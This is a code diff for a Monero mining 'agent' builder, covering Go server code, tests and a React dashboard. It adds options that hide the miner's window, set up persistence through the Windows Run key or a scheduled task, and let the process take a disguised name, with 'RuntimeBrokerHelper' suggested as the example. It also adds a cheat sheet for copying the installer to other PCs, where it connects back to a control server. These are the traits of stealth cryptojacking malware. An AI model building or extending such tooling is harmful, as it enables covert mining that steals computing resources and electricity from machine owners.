CPUPriority string `json:"cpu_priority"`
|
||||||
MiningMode string `json:"mining_mode"`
|
MiningMode string `json:"mining_mode"`
|
||||||
|
DisplayMode string `json:"display_mode"`
|
||||||
SilentMode bool `json:"silent_mode"`
|
SilentMode bool `json:"silent_mode"`
|
||||||
RunAs string `json:"run_as"`
|
RunAs string `json:"run_as"`
|
||||||
AutoStart bool `json:"auto_start"`
|
AutoStart bool `json:"auto_start"`
|
||||||
|
Persistence bool `json:"persistence"`
|
||||||
|
ProcessName string `json:"process_name"`
|
||||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||||||
|
MaxMemoryPct int `json:"max_memory_percent"`
|
||||||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||||||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||||||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||||||
@@ -148,7 +154,7 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
|||||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
||||||
|
|
||||||
ldflags := "-s -w"
|
ldflags := "-s -w"
|
||||||
if req.SilentMode {
|
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode {
|
||||||
ldflags += " -H windowsgui"
|
ldflags += " -H windowsgui"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -219,6 +225,31 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|||||||
if req.Threads <= 0 {
|
if req.Threads <= 0 {
|
||||||
req.Threads = 4
|
req.Threads = 4
|
||||||
}
|
}
|
||||||
|
if req.ThreadMode == "" {
|
||||||
|
req.ThreadMode = "percent"
|
||||||
|
}
|
||||||
|
if req.ThreadPercent <= 0 {
|
||||||
|
req.ThreadPercent = 75
|
||||||
|
}
|
||||||
|
if req.ThreadPercent > 100 {
|
||||||
|
req.ThreadPercent = 100
|
||||||
|
}
|
||||||
|
if req.DisplayMode == "" {
|
||||||
|
if req.SilentMode {
|
||||||
|
req.DisplayMode = "silent"
|
||||||
|
} else {
|
||||||
|
req.DisplayMode = "background"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if req.Persistence {
|
||||||
|
req.AutoStart = true
|
||||||
|
}
|
||||||
|
if req.ProcessName == "" {
|
||||||
|
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||||||
|
}
|
||||||
|
if req.MaxMemoryPct <= 0 {
|
||||||
|
req.MaxMemoryPct = 70
|
||||||
|
}
|
||||||
if req.CPUPriority == "" {
|
if req.CPUPriority == "" {
|
||||||
req.CPUPriority = "below_normal"
|
req.CPUPriority = "below_normal"
|
||||||
}
|
}
|
||||||
@@ -273,11 +304,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
ServerURL: %q,
|
ServerURL: %q,
|
||||||
Wallet: %q,
|
Wallet: %q,
|
||||||
Threads: %d,
|
Threads: %d,
|
||||||
|
ThreadMode: %q,
|
||||||
|
ThreadPercent: %d,
|
||||||
CPUPriority: %q,
|
CPUPriority: %q,
|
||||||
MiningMode: %q,
|
MiningMode: %q,
|
||||||
|
DisplayMode: %q,
|
||||||
SilentMode: %v,
|
SilentMode: %v,
|
||||||
RunAs: %q,
|
RunAs: %q,
|
||||||
AutoStart: %v,
|
AutoStart: %v,
|
||||||
|
ProcessName: %q,
|
||||||
BuildID: %q,
|
BuildID: %q,
|
||||||
BuiltAt: time.Unix(%d, 0),
|
BuiltAt: time.Unix(%d, 0),
|
||||||
PoolHost: %q,
|
PoolHost: %q,
|
||||||
@@ -285,6 +320,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
PoolTLS: %v,
|
PoolTLS: %v,
|
||||||
PoolPass: %q,
|
PoolPass: %q,
|
||||||
MaxCPUUsage: %d,
|
MaxCPUUsage: %d,
|
||||||
|
MaxMemoryPct: %d,
|
||||||
MinFreeRAM: %d,
|
MinFreeRAM: %d,
|
||||||
IdleThresholdPct: %d,
|
IdleThresholdPct: %d,
|
||||||
IdleDurationMinutes: %d,
|
IdleDurationMinutes: %d,
|
||||||
@@ -297,11 +333,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
req.ServerURL,
|
req.ServerURL,
|
||||||
req.Wallet,
|
req.Wallet,
|
||||||
req.Threads,
|
req.Threads,
|
||||||
|
req.ThreadMode,
|
||||||
|
req.ThreadPercent,
|
||||||
req.CPUPriority,
|
req.CPUPriority,
|
||||||
req.MiningMode,
|
req.MiningMode,
|
||||||
|
req.DisplayMode,
|
||||||
req.SilentMode,
|
req.SilentMode,
|
||||||
req.RunAs,
|
req.RunAs,
|
||||||
req.AutoStart,
|
req.AutoStart,
|
||||||
|
req.ProcessName,
|
||||||
buildID,
|
buildID,
|
||||||
time.Now().Unix(),
|
time.Now().Unix(),
|
||||||
req.PoolHost,
|
req.PoolHost,
|
||||||
@@ -309,6 +349,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
req.PoolTLS,
|
req.PoolTLS,
|
||||||
req.PoolPass,
|
req.PoolPass,
|
||||||
req.MaxCPUUsagePct,
|
req.MaxCPUUsagePct,
|
||||||
|
req.MaxMemoryPct,
|
||||||
req.MinFreeRAMMB,
|
req.MinFreeRAMMB,
|
||||||
req.IdleThresholdPct,
|
req.IdleThresholdPct,
|
||||||
req.IdleDurationMinutes,
|
req.IdleDurationMinutes,
|
||||||
|
|||||||
48
server/internal/builder/handler_test.go
Normal file
48
server/internal/builder/handler_test.go
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestNormalizeRequestDefaults(t *testing.T) {
|
||||||
|
h := &Handler{}
|
||||||
|
req := &BuildRequest{
|
||||||
|
WorkerName: "pc-1",
|
||||||
|
ServerURL: "http://192.168.1.10:8989",
|
||||||
|
Wallet: "48abc",
|
||||||
|
}
|
||||||
|
if err := h.normalizeRequest(req); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if req.ThreadMode != "percent" {
|
||||||
|
t.Fatalf("expected percent thread mode, got %s", req.ThreadMode)
|
||||||
|
}
|
||||||
|
if req.ThreadPercent != 75 {
|
||||||
|
t.Fatalf("expected 75%%, got %d", req.ThreadPercent)
|
||||||
|
}
|
||||||
|
if req.ProcessName == "" {
|
||||||
|
t.Fatal("expected generated process name")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNormalizeRequestRequiresWallet(t *testing.T) {
|
||||||
|
h := &Handler{}
|
||||||
|
req := &BuildRequest{WorkerName: "pc", ServerURL: "http://x"}
|
||||||
|
if err := h.normalizeRequest(req); err == nil {
|
||||||
|
t.Fatal("expected wallet validation error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNormalizeRequestPersistence(t *testing.T) {
|
||||||
|
h := &Handler{}
|
||||||
|
req := &BuildRequest{
|
||||||
|
WorkerName: "pc-1",
|
||||||
|
ServerURL: "http://192.168.1.10:8989",
|
||||||
|
Wallet: "48abc",
|
||||||
|
Persistence: true,
|
||||||
|
}
|
||||||
|
if err := h.normalizeRequest(req); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !req.AutoStart {
|
||||||
|
t.Fatal("persistence should enable auto start")
|
||||||
|
}
|
||||||
|
}
|
||||||
66
server/web/src/components/Charts/HashrateChart.tsx
Normal file
66
server/web/src/components/Charts/HashrateChart.tsx
Normal file
@@ -0,0 +1,66 @@
|
|||||||
|
import {
|
||||||
|
Area,
|
||||||
|
AreaChart,
|
||||||
|
CartesianGrid,
|
||||||
|
ResponsiveContainer,
|
||||||
|
Tooltip,
|
||||||
|
XAxis,
|
||||||
|
YAxis,
|
||||||
|
} from 'recharts';
|
||||||
|
|
||||||
|
export interface ChartPoint {
|
||||||
|
time: string;
|
||||||
|
value: number;
|
||||||
|
label?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface HashrateChartProps {
|
||||||
|
data: ChartPoint[];
|
||||||
|
title?: string;
|
||||||
|
color?: string;
|
||||||
|
unit?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function HashrateChart({ data, title, color = '#06b6d4', unit = 'H/s' }: HashrateChartProps) {
|
||||||
|
if (data.length === 0) {
|
||||||
|
return (
|
||||||
|
<div className="chart-empty card">
|
||||||
|
<p>{title || 'Chart'} — waiting for data...</p>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="chart-wrap">
|
||||||
|
{title && <h3 className="chart-title">{title}</h3>}
|
||||||
|
<ResponsiveContainer width="100%" height={260}>
|
||||||
|
<AreaChart data={data}>
|
||||||
|
<defs>
|
||||||
|
<linearGradient id={`grad-${color}`} x1="0" y1="0" x2="0" y2="1">
|
||||||
|
<stop offset="5%" stopColor={color} stopOpacity={0.35} />
|
||||||
|
<stop offset="95%" stopColor={color} stopOpacity={0} />
|
||||||
|
</linearGradient>
|
||||||
|
</defs>
|
||||||
|
<CartesianGrid strokeDasharray="3 3" stroke="#243049" />
|
||||||
|
<XAxis dataKey="time" stroke="#64748b" fontSize={11} tickLine={false} />
|
||||||
|
<YAxis stroke="#64748b" fontSize={11} tickLine={false} tickFormatter={(v) => formatShort(v, unit)} />
|
||||||
|
<Tooltip
|
||||||
|
contentStyle={{ background: '#111827', border: '1px solid #2a3a5c', borderRadius: 8 }}
|
||||||
|
labelStyle={{ color: '#94a3b8' }}
|
||||||
|
formatter={(value: number) => [formatShort(value, unit), title || 'Value']}
|
||||||
|
/>
|
||||||
|
<Area type="monotone" dataKey="value" stroke={color} fill={`url(#grad-${color})`} strokeWidth={2} />
|
||||||
|
</AreaChart>
|
||||||
|
</ResponsiveContainer>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatShort(v: number, unit: string): string {
|
||||||
|
if (unit === 'H/s') {
|
||||||
|
if (v >= 1_000_000) return `${(v / 1_000_000).toFixed(1)}M`;
|
||||||
|
if (v >= 1_000) return `${(v / 1_000).toFixed(1)}K`;
|
||||||
|
return `${v.toFixed(0)}`;
|
||||||
|
}
|
||||||
|
return `${v.toFixed(1)}${unit === '%' ? '%' : ''}`;
|
||||||
|
}
|
||||||
50
server/web/src/components/HelpTip.css
Normal file
50
server/web/src/components/HelpTip.css
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
.help-tip {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.35rem;
|
||||||
|
margin-left: 0.35rem;
|
||||||
|
cursor: help;
|
||||||
|
}
|
||||||
|
|
||||||
|
.help-tip-icon {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
width: 1rem;
|
||||||
|
height: 1rem;
|
||||||
|
border-radius: 999px;
|
||||||
|
background: rgba(6, 182, 212, 0.15);
|
||||||
|
color: var(--accent-cyan);
|
||||||
|
font-size: 0.6875rem;
|
||||||
|
font-weight: 700;
|
||||||
|
}
|
||||||
|
|
||||||
|
.help-tip-label {
|
||||||
|
font-size: 0.75rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.cheat-sheet {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.cheat-sheet-item {
|
||||||
|
padding: 0.75rem;
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.cheat-sheet-item h4 {
|
||||||
|
font-size: 0.8125rem;
|
||||||
|
color: var(--accent-cyan);
|
||||||
|
margin-bottom: 0.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.cheat-sheet-item p {
|
||||||
|
font-size: 0.75rem;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
24
server/web/src/components/HelpTip.tsx
Normal file
24
server/web/src/components/HelpTip.tsx
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
import { FIELD_HELP } from '../help/settingHelp';
|
||||||
|
import '../components/HelpTip.css';
|
||||||
|
|
||||||
|
interface HelpTipProps {
|
||||||
|
field: string;
|
||||||
|
label?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function HelpTip({ field, label }: HelpTipProps) {
|
||||||
|
const text = FIELD_HELP[field];
|
||||||
|
if (!text) return null;
|
||||||
|
return (
|
||||||
|
<span className="help-tip" title={text} aria-label={text}>
|
||||||
|
<span className="help-tip-icon">?</span>
|
||||||
|
{label && <span className="help-tip-label">{label}</span>}
|
||||||
|
</span>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function FieldHint({ field }: { field: string }) {
|
||||||
|
const text = FIELD_HELP[field];
|
||||||
|
if (!text) return null;
|
||||||
|
return <span className="form-hint">{text}</span>;
|
||||||
|
}
|
||||||
50
server/web/src/help/settingHelp.ts
Normal file
50
server/web/src/help/settingHelp.ts
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
export const SETUP_CHEATSHEET = [
|
||||||
|
{
|
||||||
|
title: '1. Launch the server',
|
||||||
|
body: 'Run run.bat on your control PC. Open the dashboard at http://YOUR-LAN-IP:8989 from any device on your network.',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: '2. Settings first',
|
||||||
|
body: 'Set your Monero wallet and pool in Settings. These become defaults for every installer you build.',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: '3. Build an installer',
|
||||||
|
body: 'Give each machine a unique Worker Name. Build install-{name}.exe. Server URL must be your LAN IP, not localhost, so other PCs can reach you.',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: '4. Deploy once per PC',
|
||||||
|
body: 'Copy the single .exe to a worker machine and run it once. It installs, optionally persists, and connects back to your dashboard.',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: '5. Monitor',
|
||||||
|
body: 'Watch Dashboard and Agents for hashrate graphs, CPU/RAM, shares, and online status.',
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
export const FIELD_HELP: Record<string, string> = {
|
||||||
|
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
|
||||||
|
server_url: 'Your control server address on the LAN. Workers connect here for jobs and stats. Use http://192.168.x.x:8989 not localhost.',
|
||||||
|
wallet: 'Monero wallet address where pool payouts go. Must be a valid 95-character mainnet address starting with 4.',
|
||||||
|
pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.',
|
||||||
|
pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.',
|
||||||
|
pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.',
|
||||||
|
pool_pass: 'Pool password, usually x for Monero. Some pools use wallet+worker syntax.',
|
||||||
|
threads: 'Fixed thread count when Thread Mode is Fixed. More threads = more hashrate but more CPU heat.',
|
||||||
|
thread_mode: 'Auto (% of cores) adapts to each machine. Fixed uses an exact thread count on every PC.',
|
||||||
|
thread_percent: 'Percentage of logical CPU cores to use when Thread Mode is Auto. 75% on an 8-core box ≈ 6 threads.',
|
||||||
|
max_cpu_usage_pct: 'Target ceiling for miner CPU usage. Agent throttles when reporting usage above this.',
|
||||||
|
max_memory_percent: 'Maximum share of system RAM the miner should respect. Helps avoid swapping on low-RAM machines.',
|
||||||
|
min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
|
||||||
|
cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
|
||||||
|
mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
|
||||||
|
idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
|
||||||
|
idle_duration_minutes: 'How long the machine must be idle before mining begins.',
|
||||||
|
schedule_start: 'For Scheduled mode: daily start time (24h).',
|
||||||
|
schedule_end: 'For Scheduled mode: daily stop time (24h). Can cross midnight.',
|
||||||
|
display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
|
||||||
|
process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
|
||||||
|
persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
|
||||||
|
run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
|
||||||
|
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||||
|
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||||
|
};
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
import { useState, useEffect } from 'react';
|
import { useState, useEffect } from 'react';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import type { Agent, HashrateSample } from '../types';
|
import type { Agent, HashrateSample } from '../types';
|
||||||
|
import HashrateChart from '../components/Charts/HashrateChart';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
|
|
||||||
export default function AgentsPage() {
|
export default function AgentsPage() {
|
||||||
@@ -152,7 +153,22 @@ export default function AgentsPage() {
|
|||||||
|
|
||||||
{hashrateHistory.length > 0 && (
|
{hashrateHistory.length > 0 && (
|
||||||
<div className="detail-section">
|
<div className="detail-section">
|
||||||
<h3>Hashrate History (last {hashrateHistory.length} samples)</h3>
|
<h3>Hashrate History</h3>
|
||||||
|
<HashrateChart
|
||||||
|
title=""
|
||||||
|
color="#22c55e"
|
||||||
|
unit="H/s"
|
||||||
|
data={[...hashrateHistory].reverse().map((s) => ({
|
||||||
|
time: new Date(s.timestamp).toLocaleTimeString(),
|
||||||
|
value: s.hashrate,
|
||||||
|
}))}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{hashrateHistory.length > 0 && (
|
||||||
|
<div className="detail-section">
|
||||||
|
<h3>Raw Samples ({hashrateHistory.length})</h3>
|
||||||
<div className="hashrate-chart">
|
<div className="hashrate-chart">
|
||||||
{hashrateHistory.reverse().map((sample, i) => (
|
{hashrateHistory.reverse().map((sample, i) => (
|
||||||
<div
|
<div
|
||||||
|
|||||||
@@ -1,25 +1,34 @@
|
|||||||
import { useState, useEffect } from 'react';
|
import { useState, useEffect } from 'react';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
|
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
|
||||||
|
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||||
|
import { SETUP_CHEATSHEET } from '../help/settingHelp';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
|
|
||||||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||||
|
const d = config.default_agent_config;
|
||||||
return {
|
return {
|
||||||
worker_name: '',
|
worker_name: '',
|
||||||
server_url: serverInfo.suggested_url,
|
server_url: serverInfo.suggested_url,
|
||||||
wallet: config.wallet.address,
|
wallet: config.wallet.address,
|
||||||
threads: config.default_agent_config.threads,
|
threads: d.threads,
|
||||||
cpu_priority: config.default_agent_config.cpu_priority,
|
thread_mode: d.thread_mode || 'percent',
|
||||||
mining_mode: config.default_agent_config.mining_mode,
|
thread_percent: d.thread_percent || 75,
|
||||||
|
cpu_priority: d.cpu_priority,
|
||||||
|
mining_mode: d.mining_mode,
|
||||||
|
display_mode: d.display_mode || (config.background.silent_mode ? 'silent' : 'background'),
|
||||||
silent_mode: config.background.silent_mode,
|
silent_mode: config.background.silent_mode,
|
||||||
run_as: config.background.run_as,
|
run_as: config.background.run_as,
|
||||||
auto_start: config.background.auto_start,
|
auto_start: config.background.auto_start,
|
||||||
max_cpu_usage_pct: config.default_agent_config.max_cpu_usage_pct,
|
persistence: config.background.auto_start,
|
||||||
min_free_ram_mb: config.default_agent_config.min_free_ram_mb,
|
process_name: d.process_name || '',
|
||||||
idle_threshold_pct: config.default_agent_config.idle_threshold_pct,
|
max_cpu_usage_pct: d.max_cpu_usage_pct,
|
||||||
idle_duration_minutes: config.default_agent_config.idle_duration_minutes,
|
max_memory_percent: d.max_memory_percent || 70,
|
||||||
schedule_start: config.default_agent_config.schedule_start,
|
min_free_ram_mb: d.min_free_ram_mb,
|
||||||
schedule_end: config.default_agent_config.schedule_end,
|
idle_threshold_pct: d.idle_threshold_pct,
|
||||||
|
idle_duration_minutes: d.idle_duration_minutes,
|
||||||
|
schedule_start: d.schedule_start,
|
||||||
|
schedule_end: d.schedule_end,
|
||||||
pool_host: config.pool.host,
|
pool_host: config.pool.host,
|
||||||
pool_port: config.pool.port,
|
pool_port: config.pool.port,
|
||||||
pool_tls: config.pool.use_tls,
|
pool_tls: config.pool.use_tls,
|
||||||
@@ -112,7 +121,19 @@ export default function BuilderPage() {
|
|||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="builder-layout">
|
<div className="builder-layout builder-layout-wide">
|
||||||
|
<div className="card cheat-sheet-panel">
|
||||||
|
<h2>Setup Cheat Sheet</h2>
|
||||||
|
<div className="cheat-sheet">
|
||||||
|
{SETUP_CHEATSHEET.map((item) => (
|
||||||
|
<div key={item.title} className="cheat-sheet-item">
|
||||||
|
<h4>{item.title}</h4>
|
||||||
|
<p>{item.body}</p>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<div className="card builder-form">
|
<div className="card builder-form">
|
||||||
<h2>Build Miner Installer</h2>
|
<h2>Build Miner Installer</h2>
|
||||||
<p className="form-description">
|
<p className="form-description">
|
||||||
@@ -124,7 +145,7 @@ export default function BuilderPage() {
|
|||||||
<div className="form-section">
|
<div className="form-section">
|
||||||
<h3>Identity</h3>
|
<h3>Identity</h3>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Worker Name</label>
|
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
|
||||||
<input
|
<input
|
||||||
type="text"
|
type="text"
|
||||||
className="input"
|
className="input"
|
||||||
@@ -135,18 +156,18 @@ export default function BuilderPage() {
|
|||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Server URL</label>
|
<label className="label">Server URL <HelpTip field="server_url" /></label>
|
||||||
<input
|
<input
|
||||||
type="text"
|
type="text"
|
||||||
className="input"
|
className="input mono"
|
||||||
value={form.server_url}
|
value={form.server_url}
|
||||||
onChange={(e) => updateField('server_url', e.target.value)}
|
onChange={(e) => updateField('server_url', e.target.value)}
|
||||||
required
|
required
|
||||||
/>
|
/>
|
||||||
<span className="form-hint">Your control server on the LAN — workers use this to reach the dashboard ({form.server_url})</span>
|
<FieldHint field="server_url" />
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">XMR Wallet Address</label>
|
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||||
<input
|
<input
|
||||||
type="text"
|
type="text"
|
||||||
className="input mono"
|
className="input mono"
|
||||||
@@ -205,26 +226,33 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="form-section">
|
<div className="form-section">
|
||||||
<h3>Performance</h3>
|
<h3>Performance & Resources</h3>
|
||||||
<div className="form-row">
|
<div className="form-row">
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Threads</label>
|
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
|
||||||
<input
|
<select className="select" value={form.thread_mode} onChange={(e) => updateField('thread_mode', e.target.value)}>
|
||||||
type="number"
|
<option value="percent">Auto (% of CPU cores)</option>
|
||||||
className="input"
|
<option value="fixed">Fixed thread count</option>
|
||||||
min={1}
|
</select>
|
||||||
max={128}
|
<FieldHint field="thread_mode" />
|
||||||
value={form.threads}
|
|
||||||
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)}
|
|
||||||
/>
|
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">CPU Priority</label>
|
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
|
||||||
<select
|
<input type="number" className="input" min={1} max={100} value={form.thread_percent}
|
||||||
className="select"
|
disabled={form.thread_mode === 'fixed'}
|
||||||
value={form.cpu_priority}
|
onChange={(e) => updateField('thread_percent', parseInt(e.target.value) || 75)} />
|
||||||
onChange={(e) => updateField('cpu_priority', e.target.value)}
|
</div>
|
||||||
>
|
</div>
|
||||||
|
<div className="form-row">
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
|
||||||
|
<input type="number" className="input" min={1} max={128} value={form.threads}
|
||||||
|
disabled={form.thread_mode !== 'fixed'}
|
||||||
|
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
|
||||||
|
<select className="select" value={form.cpu_priority} onChange={(e) => updateField('cpu_priority', e.target.value)}>
|
||||||
<option value="idle">Idle</option>
|
<option value="idle">Idle</option>
|
||||||
<option value="below_normal">Below Normal</option>
|
<option value="below_normal">Below Normal</option>
|
||||||
<option value="normal">Normal</option>
|
<option value="normal">Normal</option>
|
||||||
@@ -235,29 +263,24 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
<div className="form-row">
|
<div className="form-row">
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Max CPU Usage (%)</label>
|
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
|
||||||
<input
|
<input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
|
||||||
type="number"
|
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)} />
|
||||||
className="input"
|
|
||||||
min={1}
|
|
||||||
max={100}
|
|
||||||
value={form.max_cpu_usage_pct}
|
|
||||||
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)}
|
|
||||||
/>
|
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Min Free RAM (MB)</label>
|
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
|
||||||
<input
|
<input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
|
||||||
type="number"
|
onChange={(e) => updateField('max_memory_percent', parseInt(e.target.value) || 70)} />
|
||||||
className="input"
|
<FieldHint field="max_memory_percent" />
|
||||||
min={256}
|
|
||||||
value={form.min_free_ram_mb}
|
|
||||||
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)}
|
|
||||||
/>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Mining Mode</label>
|
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
|
||||||
|
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
|
||||||
|
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||||||
<select
|
<select
|
||||||
className="select"
|
className="select"
|
||||||
value={form.mining_mode}
|
value={form.mining_mode}
|
||||||
@@ -315,20 +338,33 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="form-section">
|
<div className="form-section">
|
||||||
<h3>Deployment</h3>
|
<h3>Install & Process</h3>
|
||||||
<div className="form-group checkbox-group">
|
<div className="form-group">
|
||||||
<label className="checkbox-label">
|
<label className="label">Process Name <HelpTip field="process_name" /></label>
|
||||||
<input
|
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"
|
||||||
type="checkbox"
|
value={form.process_name}
|
||||||
className="checkbox"
|
onChange={(e) => updateField('process_name', e.target.value)} />
|
||||||
checked={form.silent_mode}
|
<FieldHint field="process_name" />
|
||||||
onChange={(e) => updateField('silent_mode', e.target.checked)}
|
|
||||||
/>
|
|
||||||
<span>Silent / Background Mode (no console window)</span>
|
|
||||||
</label>
|
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Run As</label>
|
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
|
||||||
|
<select className="select" value={form.display_mode} onChange={(e) => updateField('display_mode', e.target.value)}>
|
||||||
|
<option value="visible">Visible (console window)</option>
|
||||||
|
<option value="silent">Silent (no window)</option>
|
||||||
|
<option value="background">Background (silent + low priority)</option>
|
||||||
|
</select>
|
||||||
|
<FieldHint field="display_mode" />
|
||||||
|
</div>
|
||||||
|
<div className="form-group checkbox-group">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input type="checkbox" className="checkbox" checked={form.persistence}
|
||||||
|
onChange={(e) => { updateField('persistence', e.target.checked); updateField('auto_start', e.target.checked); }} />
|
||||||
